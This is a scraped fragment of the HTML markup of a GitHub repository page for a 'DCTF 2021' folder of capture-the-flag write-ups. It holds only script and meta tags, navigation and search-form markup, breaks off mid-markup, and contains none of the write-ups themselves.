data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B680:8910:1494A5B:15D7E5D:618306FC" data-pjax-transient="true"/><meta name="html-safe-nonce" content="efc0107789bc965c851788a0c319aba47a214c38646ea60f8702509e958da28e" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNjgwOjg5MTA6MTQ5NEE1QjoxNUQ3RTVEOjYxODMwNkZDIiwidmlzaXRvcl9pZCI6IjcwMTAzNDE5MDI0NDkwNTEzODgiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="4b027f929be532f836713aafc8cead596ae315a32f9e7012afe6378c51e6012a" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="S/GDFDUrvBPhpL3NpmnGwGHGxtAzUaK1gCmAJDMI4tJQocpDGJMJYYtJV8DFV/nxDAxNh1f/94pk3g3XR950hw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 